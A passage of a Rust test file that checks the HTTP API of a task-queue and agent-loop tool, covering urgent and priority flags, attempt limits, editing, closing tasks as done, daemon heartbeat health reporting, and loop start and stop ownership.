16579 r#"{"urgent":true,"extra":false}"#,
16580 ] {
16581 assert!(
16582 serde_json::from_str::<UrgentBody>(input).is_err(),
16583 "{input}"
16584 );
16585 }
16586 }
16587
16588 #[tokio::test]
16589 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16590 let home = TempDir::new().unwrap();
16591 let q = Queue::at(home.path().join("queue"));
16592 let ui = Arc::new(Ui::new(
16593 q.clone(),
16594 Questions::at(home.path().join("questions")),
16595 Talks::at(home.path().join("talks")),
16596 home.path().join("runs"),
16597 home.path().into(),
16598 home.path().into(),
16599 ));
16600 let mut task = Task::new(
16601 "urgent handler".into(),
16602 "keep".into(),
16603 home.path().into(),
16604 Source::Human,
16605 );
16606 for status in [TaskStatus::Queued, TaskStatus::Held] {
16607 task.status = status;
16608 q.put(&mut task).unwrap();
16609 for urgent in [true, true, false, false] {
16610 let saved = queue_urgent(
16611 State(Arc::clone(&ui)),
16612 Path(task.short().into()),
16613 Ok(Json(UrgentBody { urgent })),
16614 )
16615 .await
16616 .unwrap();
16617 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16618 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16619 }
16620 }
16621 task.status = TaskStatus::Queued;
16622 q.put(&mut task).unwrap();
16623 let claim = q.claim(&task.id).unwrap();
16624 let error = queue_urgent(
16625 State(Arc::clone(&ui)),
16626 Path(task.id.clone()),
16627 Ok(Json(UrgentBody { urgent: true })),
16628 )
16629 .await
16630 .unwrap_err();
16631 assert_eq!(error.status, StatusCode::CONFLICT);
16632 assert!(error.message.contains("released"));
16633 drop(claim);
16634 for status in [
16635 TaskStatus::Running,
16636 TaskStatus::Done,
16637 TaskStatus::Failed,
16638 TaskStatus::Blocked,
16639 TaskStatus::Parked,
16640 ] {
16641 task.status = status;
16642 q.put(&mut task).unwrap();
16643 let error = queue_urgent(
16644 State(Arc::clone(&ui)),
16645 Path(task.id.clone()),
16646 Ok(Json(UrgentBody { urgent: false })),
16647 )
16648 .await
16649 .unwrap_err();
16650 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16651 assert!(error.message.contains(status.as_str()));
16652 }
16653 }
16654
16655 #[tokio::test]
16656 async fn urgent_api_updates_preserves_and_validates_tasks() {
16657 let f = Fixture::start().await;
16658 let q = f.queue();
16659 let mut t = Task::new(
16660 "urgent API".into(),
16661 "unchanged".into(),
16662 PathBuf::from("/repo/magi"),
16663 Source::Human,
16664 );
16665 t.attempts = 2;
16666 t.priority = 9;
16667 t.interrupt = true;
16668 t.hold_reason = Some("waiting for approval".into());
16669 for status in [TaskStatus::Queued, TaskStatus::Held] {
16670 t.status = status;
16671 q.put(&mut t).unwrap();
16672 for urgent in [true, true, false, false] {
16673 let response = f
16674 .post(
16675 &format!("/api/queue/{}/urgent", t.short()),
16676 Some(&format!("{{\"urgent\":{urgent}}}")),
16677 )
16678 .await;
16679 assert_eq!(response.status, 200, "{}", response.body);
16680 assert_eq!(response.json()["urgent"], urgent);
16681 let saved = q.get(&t.id).unwrap();
16682 let mut before = serde_json::to_value(&t).unwrap();
16683 let mut after = serde_json::to_value(saved).unwrap();
16684 before["urgent"] = urgent.into();
16685 before.as_object_mut().unwrap().remove("updated_at");
16686 after.as_object_mut().unwrap().remove("updated_at");
16687 assert_eq!(after, before);
16688 }
16689 }
16690 let route = format!("/api/queue/{}/urgent", t.id);
16691 for body in [
16692 r#"{}"#,
16693 r#"{"urgent":null}"#,
16694 r#"{"urgent":"true"}"#,
16695 r#"{"urgent":1}"#,
16696 r#"{"urgent":true,"extra":false}"#,
16697 "{",
16698 ] {
16699 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16700 }
16701 t.status = TaskStatus::Queued;
16702 q.put(&mut t).unwrap();
16703 let claim = q.claim(&t.id).unwrap();
16704 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16705 assert_eq!(response.status, 409, "{}", response.body);
16706 assert!(!q.get(&t.id).unwrap().urgent);
16707 drop(claim);
16708 for status in [
16709 TaskStatus::Running,
16710 TaskStatus::Done,
16711 TaskStatus::Failed,
16712 TaskStatus::Blocked,
16713 TaskStatus::Parked,
16714 ] {
16715 t.status = status;
16716 q.put(&mut t).unwrap();
16717 for urgent in [true, false] {
16718 let response = f
16719 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16720 .await;
16721 assert_eq!(response.status, 400, "{}", response.body);
16722 assert!(response.body.contains(status.as_str()));
16723 assert!(response.body.contains("queued or held"));
16724 assert!(!q.get(&t.id).unwrap().urgent);
16725 }
16726 }
16727 assert_eq!(
16728 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16729 .await
16730 .status,
16731 404
16732 );
16733 }
16734
16735 #[tokio::test]
16736 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16737 let f = Fixture::start().await;
16738 let queue = f.queue();
16739 let mut older = Task::new(
16740 "filed first".to_owned(),
16741 "x".to_owned(),
16742 PathBuf::from("/repo/magi"),
16743 Source::Human,
16744 );
16745 older.id = "20260101-000001-aaaa".to_owned();
16746 let mut newer = Task::new(
16747 "filed second".to_owned(),
16748 "x".to_owned(),
16749 PathBuf::from("/repo/magi"),
16750 Source::Human,
16751 );
16752 newer.id = "20260101-000002-bbbb".to_owned();
16753 queue.put(&mut older).expect("file older");
16754 queue.put(&mut newer).expect("file newer");
16755
16756 let before = f.get("/api/queue").await.json();
16759 assert_eq!(before[0]["id"], newer.id);
16760 assert_eq!(before[1]["id"], older.id);
16761
16762 let raised = f
16766 .post(
16767 &format!("/api/queue/{}/priority", older.id),
16768 Some(r#"{"priority":10}"#),
16769 )
16770 .await;
16771 assert_eq!(raised.status, 200, "{}", raised.body);
16772 assert_eq!(raised.json()["priority"], 10);
16773
16774 let after = f.get("/api/queue").await.json();
16775 let names: Vec<&str> = after
16776 .as_array()
16777 .unwrap()
16778 .iter()
16779 .map(|t| t["id"].as_str().unwrap())
16780 .collect();
16781 assert_eq!(names[0], older.id, "the raised task now sorts first");
16785 }
16786
16787 #[tokio::test]
16788 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16789 let dir = TempDir::new().unwrap();
16790 let q = Queue::at(dir.path().join("queue"));
16791 let ui = Arc::new(Ui::new(
16792 q.clone(),
16793 Questions::at(dir.path().join("questions")),
16794 Talks::at(dir.path().join("talks")),
16795 dir.path().join("runs"),
16796 dir.path().to_path_buf(),
16797 dir.path().to_path_buf(),
16798 ));
16799 let mut t = Task::new(
16800 "budget".into(),
16801 "keep".into(),
16802 dir.path().into(),
16803 Source::Human,
16804 );
16805 t.attempts = 2;
16806 t.runs.push("prior-run".into());
16807 t.hold_manual(Some("waiting".into()));
16808 q.put(&mut t).unwrap();
16809 let change = |value| {
16810 queue_attempt_limit(
16811 State(ui.clone()),
16812 Path(t.id.clone()),
16813 Ok(Json(AttemptLimitBody {
16814 attempt_limit: value,
16815 })),
16816 )
16817 };
16818 for value in [
16819 serde_json::json!(3),
16820 serde_json::Value::Null,
16821 serde_json::json!(1),
16822 ] {
16823 let response = change(value.clone()).await.unwrap();
16824 assert_eq!(
16825 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16826 value
16827 );
16828 let saved = q.get(&t.id).unwrap();
16829 assert_eq!(
16830 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16831 value
16832 );
16833 assert_eq!(saved.status, TaskStatus::Held);
16834 assert_eq!(saved.attempts, t.attempts);
16835 assert_eq!(saved.runs, t.runs);
16836 assert_eq!(saved.hold_reason, t.hold_reason);
16837 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16838 .await
16839 .unwrap()
16840 .0;
16841 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16842 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16843 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16844 assert_eq!(outcome.max_attempts, detail.max_attempts);
16845 }
16846 for value in [
16847 serde_json::json!(0),
16848 serde_json::json!(-1),
16849 serde_json::json!(1.5),
16850 serde_json::json!("3"),
16851 serde_json::json!(true),
16852 ] {
16853 assert_eq!(
16854 change(value).await.err().unwrap().status,
16855 StatusCode::BAD_REQUEST
16856 );
16857 }
16858 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16859 let claim = q.claim(&t.id).unwrap();
16860 assert_eq!(
16861 change(serde_json::json!(4)).await.err().unwrap().status,
16862 StatusCode::CONFLICT
16863 );
16864 drop(claim);
16865 for status in [
16866 TaskStatus::Running,
16867 TaskStatus::Done,
16868 TaskStatus::Failed,
16869 TaskStatus::Blocked,
16870 TaskStatus::Parked,
16871 ] {
16872 let mut stored = q.get(&t.id).unwrap();
16873 stored.status = status;
16874 q.put(&mut stored).unwrap();
16875 assert_eq!(
16876 change(serde_json::json!(4)).await.err().unwrap().status,
16877 StatusCode::BAD_REQUEST
16878 );
16879 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16880 }
16881 let mut stored = q.get(&t.id).unwrap();
16882 stored.status = TaskStatus::Queued;
16883 q.put(&mut stored).unwrap();
16884 let _ = change(serde_json::Value::Null).await.unwrap();
16885 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16886 }
16887
16888 #[tokio::test]
16889 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16890 let dir = TempDir::new().unwrap();
16891 let repo = dir.path().join("repo");
16892 std::fs::create_dir(&repo).unwrap();
16893 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16894 let q = Queue::at(dir.path().join("queue"));
16895 let ui = Arc::new(Ui::new(
16896 q.clone(),
16897 Questions::at(dir.path().join("questions")),
16898 Talks::at(dir.path().join("talks")),
16899 dir.path().join("runs"),
16900 dir.path().to_path_buf(),
16901 repo.clone(),
16902 ));
16903 let mut t = Task::new(
16904 "seats".into(),
16905 "keep instruction".into(),
16906 repo,
16907 Source::Human,
16908 );
16909 t.runs.push("prior-run".into());
16910 t.hold_manual(Some("waiting".into()));
16911 q.put(&mut t).unwrap();
16912 let change = |count| {
16913 queue_implementers(
16914 State(ui.clone()),
16915 Path(t.id.clone()),
16916 Ok(Json(ImplementersBody {
16917 implementers: count,
16918 })),
16919 )
16920 };
16921 for count in [2, 1, 2] {
16922 let response = change(count).await.unwrap();
16923 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16924 let saved = q.get(&t.id).unwrap();
16925 assert_eq!(saved.implementers(), Some(usize::from(count)));
16926 assert_eq!(saved.runs, t.runs);
16927 assert_eq!(saved.instruction, t.instruction);
16928 }
16929 for count in [0, 4] {
16930 assert_eq!(
16931 change(count).await.err().unwrap().status,
16932 StatusCode::BAD_REQUEST
16933 );
16934 }
16935 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16936 let claim = q.claim(&t.id).unwrap();
16937 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16938 drop(claim);
16939 for status in [
16940 TaskStatus::Running,
16941 TaskStatus::Done,
16942 TaskStatus::Failed,
16943 TaskStatus::Blocked,
16944 TaskStatus::Parked,
16945 ] {
16946 let mut stored = q.get(&t.id).unwrap();
16947 stored.status = status;
16948 q.put(&mut stored).unwrap();
16949 assert_eq!(
16950 change(1).await.err().unwrap().status,
16951 StatusCode::BAD_REQUEST
16952 );
16953 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16954 }
16955 }
16956
16957 #[tokio::test]
16958 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16959 let f = Fixture::start().await;
16960 let queue = f.queue();
16961 let mut task = Task::new(
16962 "in flight".to_owned(),
16963 "x".to_owned(),
16964 PathBuf::from("/repo/magi"),
16965 Source::Human,
16966 );
16967 task.start("20260902-140502-bbbb".to_owned());
16968 queue.put(&mut task).expect("file the task");
16969
16970 let res = f
16971 .post(
16972 &format!("/api/queue/{}/priority", task.id),
16973 Some(r#"{"priority":9}"#),
16974 )
16975 .await;
16976 assert_eq!(res.status, 400, "{}", res.body);
16977 assert!(
16978 res.json()["error"]
16979 .as_str()
16980 .is_some_and(|e| e.contains("running")),
16981 "{}",
16982 res.body
16983 );
16984 assert_eq!(
16985 queue.get(&task.id).expect("reload").priority,
16986 0,
16987 "the refused write must not partially apply"
16988 );
16989 }
16990
16991 #[tokio::test]
16992 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16993 let f = Fixture::start().await;
16994 let queue = f.queue();
16995 let mut task = Task::new(
16996 "old title".to_owned(),
16997 "old instruction".to_owned(),
16998 PathBuf::from("/repo/magi"),
16999 Source::Agent {
17000 run: "20260101-000000-beef".to_owned(),
17001 node: "implement".to_owned(),
17002 },
17003 );
17004 task.runs.push("20260101-000000-beef".to_owned());
17005 queue.put(&mut task).expect("file the task");
17006 let created_at = task.created_at;
17007
17008 let edited = f
17009 .post(
17010 &format!("/api/queue/{}/edit", task.id),
17011 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17012 )
17013 .await;
17014 assert_eq!(edited.status, 200, "{}", edited.body);
17015 let body = edited.json();
17016 assert_eq!(body["title"], "new title");
17017 assert_eq!(body["instruction"], "new instruction");
17018 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17019 assert_eq!(body["created_at"], created_at.to_string());
17020 assert_eq!(
17021 body["source"]["kind"], "agent",
17022 "editing a task an agent filed must not turn it human: {body}"
17023 );
17024 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17025
17026 let reloaded = queue.get(&task.id).expect("reload");
17027 assert_eq!(reloaded.title, "new title");
17028 assert_eq!(reloaded.instruction, "new instruction");
17029 }
17030
17031 #[tokio::test]
17032 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17033 let tmp = TempDir::new().expect("tempdir");
17036 let repo = tmp.path().join("repo");
17037 std::fs::create_dir_all(&repo).expect("repo dir");
17038 let judge = MOCK_AGENT_TOML.replace(
17039 "printf ok",
17040 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17041 );
17042 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17043 let f = Fixture::with_repo(repo.clone()).await;
17044 let queue = f.queue();
17045 let mut owner = Task::new(
17046 "owner".to_owned(),
17047 "review it".to_owned(),
17048 repo.clone(),
17049 Source::Human,
17050 );
17051 owner.review_branch = Some("magi/ab12/A".to_owned());
17052 queue.put(&mut owner).expect("file the owner");
17053 let mut task = Task::new(
17054 "draft".to_owned(),
17055 "old".to_owned(),
17056 repo.clone(),
17057 Source::Human,
17058 );
17059 queue.put(&mut task).expect("file the draft");
17060 let url = format!("/api/queue/{}/edit", task.id);
17061
17062 let refused = f
17063 .post(
17064 &url,
17065 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17066 )
17067 .await;
17068 assert_eq!(refused.status, 409, "{}", refused.body);
17069 let msg = refused.json()["error"]
17070 .as_str()
17071 .unwrap_or_default()
17072 .to_owned();
17073 assert!(
17074 msg.contains("magi/ab12/A") && msg.contains("force"),
17075 "{msg}"
17076 );
17077 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17078
17079 let forced = f
17080 .post(
17081 &url,
17082 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17083 )
17084 .await;
17085 assert_eq!(forced.status, 200, "{}", forced.body);
17086 }
17087
17088 #[tokio::test]
17089 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17090 let f = Fixture::start().await;
17091 let queue = f.queue();
17092 let mut task = Task::new(
17093 "in flight".to_owned(),
17094 "do not touch".to_owned(),
17095 PathBuf::from("/repo/magi"),
17096 Source::Human,
17097 );
17098 task.start("20260902-140502-bbbb".to_owned());
17099 queue.put(&mut task).expect("file the task");
17100
17101 let res = f
17102 .post(
17103 &format!("/api/queue/{}/edit", task.id),
17104 Some(r#"{"title":"x","instruction":"y"}"#),
17105 )
17106 .await;
17107 assert_eq!(res.status, 400, "{}", res.body);
17108 assert!(
17109 res.json()["error"]
17110 .as_str()
17111 .is_some_and(|e| e.contains("running")),
17112 "{}",
17113 res.body
17114 );
17115 assert_eq!(
17116 queue.get(&task.id).expect("reload").instruction,
17117 "do not touch",
17118 "the refused edit must not change the file"
17119 );
17120 }
17121
17122 #[tokio::test]
17123 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17124 let f = Fixture::start().await;
17125 let queue = f.queue();
17126 let mut task = Task::new(
17127 "busy".to_owned(),
17128 "Running right now".to_owned(),
17129 PathBuf::from("/repo/magi"),
17130 Source::Human,
17131 );
17132 queue.put(&mut task).expect("file the task");
17133 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17134
17135 let priority = f
17136 .post(
17137 &format!("/api/queue/{}/priority", task.id),
17138 Some(r#"{"priority":9}"#),
17139 )
17140 .await;
17141 assert_eq!(priority.status, 409, "{}", priority.body);
17142
17143 let edit = f
17144 .post(
17145 &format!("/api/queue/{}/edit", task.id),
17146 Some(r#"{"title":"x","instruction":"y"}"#),
17147 )
17148 .await;
17149 assert_eq!(edit.status, 409, "{}", edit.body);
17150 }
17151
17152 #[tokio::test]
17153 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17154 let f = Fixture::start().await;
17155 let queue = f.queue();
17156 let mut task = Task::new(
17157 "shipped by hand".to_owned(),
17158 "merged outside the loop".to_owned(),
17159 PathBuf::from("/repo/magi"),
17160 Source::Agent {
17161 run: "20260101-000000-b455".to_owned(),
17162 node: "implement".to_owned(),
17163 },
17164 );
17165 task.runs.push("20260101-000000-b455".to_owned());
17166 task.runs.push("20260101-000000-9af4".to_owned());
17167 queue.put(&mut task).expect("file the task");
17168 let created_at = task.created_at;
17169
17170 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17171 assert_eq!(done.status, 200, "{}", done.body);
17172 assert_eq!(done.json()["status_str"], "done");
17173
17174 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17175 assert_eq!(
17176 reloaded.runs,
17177 ["20260101-000000-b455", "20260101-000000-9af4"]
17178 );
17179 assert_eq!(
17180 reloaded.source,
17181 Source::Agent {
17182 run: "20260101-000000-b455".to_owned(),
17183 node: "implement".to_owned(),
17184 }
17185 );
17186 assert_eq!(reloaded.created_at, created_at);
17187 }
17188
17189 #[tokio::test]
17190 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17191 let f = Fixture::start().await;
17196 let queue = f.queue();
17197 let mut task = Task::new(
17198 "landed while held".to_owned(),
17199 "x".to_owned(),
17200 PathBuf::from("/repo/magi"),
17201 Source::Human,
17202 );
17203 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17204 queue.put(&mut task).expect("file the held task");
17205
17206 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17207 assert_eq!(done.status, 200, "{}", done.body);
17208 assert_eq!(done.json()["status_str"], "done");
17209 assert!(
17210 done.json()["hold_reason"].is_null(),
17211 "a done task cannot still be waiting on something: {}",
17212 done.body
17213 );
17214 }
17215
17216 #[tokio::test]
17217 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17218 let f = Fixture::start().await;
17223 let queue = f.queue();
17224 let runs = f.runs();
17225 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17226 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17230
17231 let mut task = Task::new(
17232 "landed by hand".to_owned(),
17233 "x".to_owned(),
17234 PathBuf::from("/repo/magi"),
17235 Source::Human,
17236 );
17237 task.runs.push("20260101-000000-doa1".to_owned());
17238 task.runs.push("20260101-000000-doa2".to_owned());
17239 queue.put(&mut task).expect("file the task");
17240
17241 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17242 assert_eq!(done.status, 200, "{}", done.body);
17243
17244 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17245 .expect("run still on disk under this fixture's own home");
17246 assert_eq!(
17247 reloaded_run.status,
17248 RunStatus::Superseded,
17249 "closing the task by hand must relabel the earlier blocked attempt exactly \
17250 like the loop's own settle path does"
17251 );
17252 }
17253
17254 #[tokio::test]
17255 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17256 let f = Fixture::start().await;
17261 let queue = f.queue();
17262 let runs = f.runs();
17263 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17264 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17265
17266 let mut task = Task::new(
17267 "closed with nothing actually landed".to_owned(),
17268 "x".to_owned(),
17269 PathBuf::from("/repo/magi"),
17270 Source::Human,
17271 );
17272 task.runs.push("20260101-000000-dob1".to_owned());
17273 task.runs.push("20260101-000000-dob2".to_owned());
17274 queue.put(&mut task).expect("file the task");
17275
17276 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17277 assert_eq!(done.status, 200, "{}", done.body);
17278
17279 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17280 .expect("run still on disk under this fixture's own home");
17281 assert_eq!(
17282 reloaded_run.status,
17283 RunStatus::Blocked,
17284 "the last recorded attempt never landed, so the earlier one must not be \
17285 relabelled as superseded by it"
17286 );
17287 }
17288
17289 #[tokio::test]
17290 async fn unknown_ids_are_json_not_found_on_both_stores() {
17291 let f = Fixture::start().await;
17292
17293 let run = f.get("/api/runs/nosuchrun").await;
17294 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17295
17296 assert_eq!(run.status, 404);
17297 assert_eq!(task.status, 404);
17298 assert!(
17299 run.json()["error"]
17300 .as_str()
17301 .is_some_and(|e| e.contains("run")),
17302 "the error names what was not found: {}",
17303 run.body
17304 );
17305 assert!(
17306 task.json()["error"]
17307 .as_str()
17308 .is_some_and(|e| e.contains("task")),
17309 "the error names what was not found: {}",
17310 task.body
17311 );
17312 }
17313
17314 #[tokio::test]
17315 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17316 let f = Fixture::start().await;
17317
17318 let missing = f.get("/api/health").await.json();
17319 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17320
17321 write_daemon(
17322 f.home.path(),
17323 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17324 );
17325 let stale = f.get("/api/health").await.json();
17326 assert_eq!(
17327 stale["daemon"]["running"], false,
17328 "a minute without a heartbeat is a dead daemon, not a busy one"
17329 );
17330 assert!(
17331 stale["daemon"]["stale_for_secs"]
17332 .as_i64()
17333 .is_some_and(|s| s >= 55),
17334 "staleness is reported so the UI can say how long: {stale}"
17335 );
17336
17337 write_daemon(f.home.path(), Timestamp::now());
17338 let fresh = f.get("/api/health").await.json();
17339 assert_eq!(fresh["daemon"]["running"], true);
17340 assert_eq!(fresh["daemon"]["idle"], false);
17341 assert_eq!(fresh["daemon"]["pid"], 4242);
17342 assert_eq!(fresh["daemon"]["completed"], 7);
17343 assert_eq!(
17344 fresh["daemon"]["current"][0]["task"],
17345 "20260902-140501-aaaa"
17346 );
17347 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17348 }
17349
17350 #[tokio::test]
17351 async fn the_loop_is_not_running_until_something_starts_it() {
17352 let f = Fixture::start().await;
17353
17354 let view = f.get("/api/loop").await.json();
17355 assert_eq!(view["running"], false);
17356 assert_eq!(
17357 view["owned"], false,
17358 "nobody owns a loop that does not exist: {view}"
17359 );
17360 assert_eq!(view["stopping"], false);
17361 assert_eq!(view["last_error"], Value::Null);
17362 assert_eq!(view["daemon"]["running"], false);
17363 assert_eq!(
17364 view["repo"], "/repo/magi",
17365 "the repository a start would use, named before it is started"
17366 );
17367 }
17368
17369 #[tokio::test]
17370 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17371 let f = Fixture::start().await;
17372
17373 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17374 assert_eq!(res.status, 200, "{}", res.body);
17375 let view = res.json();
17376 assert_eq!(view["running"], true);
17377 assert_eq!(
17378 view["owned"], true,
17379 "the loop the UI started is the UI's own to stop: {view}"
17380 );
17381 assert_eq!(
17382 view["merge"],
17383 Value::Null,
17384 "no override was given, so each repository's own config decides"
17385 );
17386
17387 let health = f.get("/api/health").await.json();
17391 assert_eq!(health["loop"]["running"], true, "{health}");
17392 assert_eq!(health["loop"]["owned"], true, "{health}");
17393
17394 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17395 }
17396
17397 #[tokio::test]
17398 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17399 let f = Fixture::start().await;
17400 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17401 assert_eq!(first.status, 200, "{}", first.body);
17402
17403 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17404 assert_eq!(
17405 again.status, 409,
17406 "two loops on one queue race for the same claims: {}",
17407 again.body
17408 );
17409 assert!(
17410 again.json()["error"]
17411 .as_str()
17412 .is_some_and(|e| e.contains("already running the loop")),
17413 "the refusal has to say why: {}",
17414 again.body
17415 );
17416 assert_eq!(
17417 f.get("/api/loop").await.json()["running"],
17418 true,
17419 "and the loop that was already running is untouched by it"
17420 );
17421
17422 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17423 }
17424
17425 #[tokio::test]
17426 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17427 let f = Fixture::start().await;
17428 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17429
17430 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17431 assert_eq!(
17432 res.status, 200,
17433 "the answer must not wait for the loop: a run in flight is tens of \
17434 minutes and the operator is holding a phone: {}",
17435 res.body
17436 );
17437
17438 let view = settled(&f, |v| v["running"] == false).await;
17439 assert_eq!(view["owned"], false);
17440 assert_eq!(
17441 view["stopping"], false,
17442 "a loop that has stopped is not still stopping: {view}"
17443 );
17444 assert_eq!(
17445 view["last_error"],
17446 Value::Null,
17447 "a loop that was asked to stop did not fail: {view}"
17448 );
17449
17450 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17453 assert_eq!(twice.status, 200, "{}", twice.body);
17454 }
17455
17456 #[tokio::test]
17457 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17458 let f = Fixture::start().await;
17459 write_daemon(f.home.path(), Timestamp::now());
17462
17463 let view = f.get("/api/loop").await.json();
17464 assert_eq!(view["running"], false, "not in this process: {view}");
17465 assert_eq!(view["owned"], false, "and not this process's to control");
17466 assert_eq!(
17467 view["daemon"]["running"], true,
17468 "but a loop is alive somewhere, which is what the UI must say"
17469 );
17470 assert_eq!(view["daemon"]["pid"], 4242);
17471
17472 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17473 let res = f.post("/api/loop", Some(body)).await;
17474 assert_eq!(
17475 res.status, 409,
17476 "neither button may pretend to work on someone else's loop: {}",
17477 res.body
17478 );
17479 assert!(
17480 res.json()["error"]
17481 .as_str()
17482 .is_some_and(|e| e.contains("4242")),
17483 "the refusal has to name the process the operator must go to: {}",
17484 res.body
17485 );
17486 }
17487 assert_eq!(
17488 f.get("/api/loop").await.json()["running"],
17489 false,
17490 "and the refusal started nothing"
17491 );
17492 }
17493
17494 #[tokio::test]
17495 async fn a_stale_status_file_is_not_a_foreign_owner() {
17496 let f = Fixture::start().await;
17497 write_daemon(
17498 f.home.path(),
17499 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17500 );
17501
17502 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17503 assert_eq!(
17504 res.status, 200,
17505 "a daemon killed a minute ago must not lock the loop out of its \
17506 own home for good: {}",
17507 res.body
17508 );
17509 assert_eq!(res.json()["running"], true);
17510
17511 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17512 }
17513
17514 #[tokio::test]
17515 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17516 let f = Fixture::start().await;
17517 let before = f.get("/api/health").await.json()["loop_rev"]
17518 .as_u64()
17519 .expect("a loop revision");
17520
17521 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17522
17523 let after = f.get("/api/health").await.json()["loop_rev"]
17524 .as_u64()
17525 .expect("a loop revision");
17526 assert!(
17527 after > before,
17528 "the loop is in-process state, so this counter is the only thing \
17529 that tells a second device the first one started it: {before} -> \
17530 {after}"
17531 );
17532
17533 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17534 }
17535
17536 #[tokio::test]
17537 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17538 let f = Fixture::with_loop(launch_broken).await;
17539
17540 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17541 assert_eq!(
17542 res.status, 200,
17543 "starting it is not the failure: {}",
17544 res.body
17545 );
17546
17547 let view = settled(&f, |v| v["last_error"].is_string()).await;
17548 assert_eq!(
17549 view["running"], false,
17550 "a loop that died must not read as running, or the operator has \
17551 nothing to press: {view}"
17552 );
17553 assert_eq!(view["owned"], false);
17554 assert!(
17555 view["last_error"]
17556 .as_str()
17557 .is_some_and(|e| e.contains("read-only file system")),
17558 "the phone is where a loop that died at 3am is visible: {view}"
17559 );
17560
17561 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17564 assert_eq!(again.status, 200, "{}", again.body);
17565 assert!(
17566 again.json()["last_error"]
17567 .as_str()
17568 .is_none_or(|e| !e.contains("read-only file system")),
17569 "a fresh start does not keep showing why the last one died: {}",
17570 again.body
17571 );
17572 }
17573
17574 #[tokio::test]
17575 async fn a_newer_daemon_status_file_still_renders() {
17576 let f = Fixture::start().await;
17577 std::fs::write(
17580 f.home.path().join("daemon.json"),
17581 serde_json::json!({
17582 "schema": 2,
17583 "updated_at": Timestamp::now().to_string(),
17584 "idle": true,
